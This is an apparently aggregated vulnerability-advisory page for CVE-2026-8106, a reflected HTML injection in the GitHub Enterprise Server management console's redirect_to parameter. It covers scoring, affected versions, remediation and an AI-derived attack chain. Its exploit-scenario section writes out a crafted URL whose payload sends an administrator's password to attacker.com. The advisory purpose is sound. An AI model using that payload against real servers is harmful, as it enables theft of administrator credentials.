Skip to main content

GitHub Enterprise Server EUVDEUVD-2026-28465

| CVE-2026-8106 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-05-07 GitHub_P GHSA-xqmx-3vx6-fm88
5.9
CVSS 4.0 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Attacker crafts malicious redirect_to URL
  2. Delivery
    Sends phishing email to administrator
  3. Exploit
    Administrator clicks link
  4. Install
    Server reflects unescaped parameter into HTML attribute
  5. C2
    JavaScript injects credential-capture form
  6. Execute
    Administrator enters credentials
  7. Impact
    Attacker steals credentials

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the following specific conditions: (1) the target must be running GitHub Enterprise Server version 3.19.1-3.19.5 or 3.20.0-3.20.1; (2) an administrator must click a crafted link containing malicious payload in the redirect_to parameter; (3) the administrator must then enter their credentials into the login form. The vulnerability cannot be exploited without direct administrator interaction - it is a reflected injection only, not stored, and does not execute without a user visiting the malicious URL. No special server configuration or feature enablement is required; the vulnerable code path is part of the standard management console deployment. The attack vector is network-accessible, but passive attack timing and required user interaction significantly constrain real-world exploitation compared to unauthenticated remote code execution vulnerabilities.

Impact

CVSS 5.9 (medium) with AV:N (network), AC:L (low complexity), but AT:P (passive attack timing) and UI:A (user interaction required) are critical limiting factors. VC:H indicates confidentiality impact (credential theft) but no integrity or availability impact. The passive attack timing means the attacker must wait for administrator action; this is not a direct, time-bound attack. EPSS scoring data is unavailable, but the combination of network vector + user interaction + limited scope (credential theft, not system compromise) suggests moderate real-world priority. KEV status and active exploitation signals are not confirmed in provided data; no POC is reported. The attack succeeds only when: (1) an attacker crafts a link, (2) socially engineers an administrator to click it, and (3) the administrator enters credentials into the injected form. This is phishing-adjacent, not an autonomous remote code execution risk. For environments with security-aware administrators and email filtering, real-world risk is lower than CVSS alone indicates.

Exploit ScenarioDerived

An attacker crafts a URL such as https://github-enterprise.internal/setup/unlock?redirect_to="onload="javascript:fetch('https://attacker.com/steal?creds='%2bdocument.getElementById('password').value) and sends it to a GitHub Enterprise administrator via spear-phishing email. When the administrator clicks the link and logs in, the injected JavaScript executes, exfiltrating the credentials to the attacker's server. The attacker then uses the stolen administrative credentials to access the management console.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 08, 2026

Reflected HTML injection in GitHub Enterprise Server Management Console login page allows credential theft when administrators click crafted links. The /setup/unlock endpoint reflects the redirect_to query parameter into an HTML attribute without sanitization, enabling attackers to inject malicious form elements that capture credentials. Affects versions 3.19.1-3.19.5 and 3.20.0-3.20.1; fixed in 3.19.6 and 3.20.2. Exploitation requires user interaction (administrator clicking a link), limiting real-world impact despite network-accessible attack surface.

RemediationAI

Upgrade GitHub Enterprise Server to version 3.19.6 or later if running 3.19.x, or to version 3.20.2 or later if running 3.20.x. See https://docs.github.com/en/enterprise-server@3.19/admin/release-notes#3.19.6 and https://docs.github.com/en/enterprise-server@3.20/admin/release-notes#3.20.2 for patched release details. As a compensating control pending upgrade, restrict access to the /setup/unlock endpoint using a Web Application Firewall or reverse proxy to block requests containing HTML/JavaScript special characters in the redirect_to parameter (e.g., <, >, ", ', &), or limit management console access to trusted internal IP ranges only. This mitigates social engineering by preventing external attackers from crafting and distributing malicious links, though it does not protect against internal threats. Educate administrators to avoid clicking management console links from untrusted sources and to verify URLs before entering credentials.

Affected VersionsENISA

Enterprise Server 3.20.0 ≤3.20.1
Enterprise Server 3.19.1 ≤3.19.5

Affected Packages

euvd enterprise_server no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This is a reflected cross-site scripting (CWE-79) vulnerability in the GitHub Enterprise Server Management Console. The /setup/unlock endpoint accepts a redirect_to query parameter intended to redirect administrators after authentication, but fails to sanitize this parameter before reflecting it into an HTML attribute. An attacker can craft a URL containing malicious JavaScript or HTML form injection payloads that execute in the administrator's browser context. The vulnerability affects the authentication flow at the management console level, targeting server-side administrative functions rather than user-facing Git operations. CPE cpe:2.3:a:github:enterprise_server identifies the affected product family across all versions.

Know when Github gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 5.9 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
None
User Interaction
Active
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

3
CVSS changed
May 07, 2026 - 22:22 NVD
5.9 (MEDIUM)
CVE Published
May 07, 2026 - 21:18 nvd
UNKNOWN (no severity yet)
CVE Published
May 07, 2026 - 21:18 nvd
MEDIUM 5.9

DescriptionGitHub Advisory

A reflected HTML injection vulnerability was identified in the GitHub Enterprise Server Management Console login page that could allow credential theft. The redirect_to query parameter on the /setup/unlock endpoint was reflected into an HTML attribute without proper sanitization, enabling an attacker to inject a form element that could capture administrator credentials. Exploitation required an administrator to click a crafted link and enter their credentials. This vulnerability affected GitHub Enterprise Server versions 3.19.1 through 3.19.5 and 3.20.0 through 3.20.1, and was fixed in versions 3.19.6 and 3.20.2. This vulnerability was reported via the GitHub Bug Bounty program.

Threat Intelligence Overview

EPSS Score
0.0%
Top 86% exploitable
Social Media
1
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in Github

View all
CVE-2026-1699 CRITICAL POC
10.0 Jan 30

Supply chain vulnerability in Eclipse Theia GitHub Actions workflow. The preview.yml workflow uses pull_request_target w

CVE-2026-27941 CRITICAL POC
9.9 Feb 26

Supply chain attack vector in OpenLIT GitHub Actions workflows. The pull_request_target trigger with checkout enables ma

CVE-2026-22869 CRITICAL POC
9.8 Jan 13

Eigent multi-agent workflow CI pipeline (ci.yml) uses pull_request_target with checkout of untrusted PR code, enabling a

CVE-2024-0200 CRITICAL POC
9.8 Jan 16

An unsafe reflection vulnerability was identified in GitHub Enterprise Server that could lead to reflection injection. R

CVE-2022-24724 CRITICAL POC
9.8 Mar 03

cmark-gfm is GitHub's extended version of the C reference implementation of CommonMark. Rated critical severity (CVSS 9.

CVE-2024-9487 CRITICAL POC
9.5 Oct 10

An improper verification of cryptographic signature vulnerability was identified in GitHub Enterprise Server that allowe

CVE-2026-28215 CRITICAL POC
9.1 Feb 26

Unauthenticated infrastructure overwrite in Hoppscotch API development ecosystem before 2026.2.0. Attackers can overwrit

CVE-2018-1000600 HIGH POC
8.8 Jun 26

A exposure of sensitive information vulnerability exists in Jenkins GitHub Plugin 1.29.1 and earlier in GitHubTokenCrede

CVE-2026-30920 HIGH POC
8.6 Mar 10

OneUptime versions prior to 10.0.19 allow unauthenticated attackers to hijack GitHub App integrations across projects by

CVE-2026-25221 HIGH POC
8.1 Feb 02

PolarLearn versions 0-PRERELEASE-15 and earlier lack proper state parameter validation in OAuth 2.0 authentication, enab

CVE-2026-23644 HIGH POC
7.5 Jan 18

Path traversal in esm.sh CDN prior to version 0.0.0-20260116051925-c62ab83c589e allows unauthenticated remote attackers

CVE-2024-42471 HIGH POC
7.5 Sep 02

actions/artifact is the GitHub ToolKit for developing GitHub Actions. Rated high severity (CVSS 7.5), this vulnerability

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy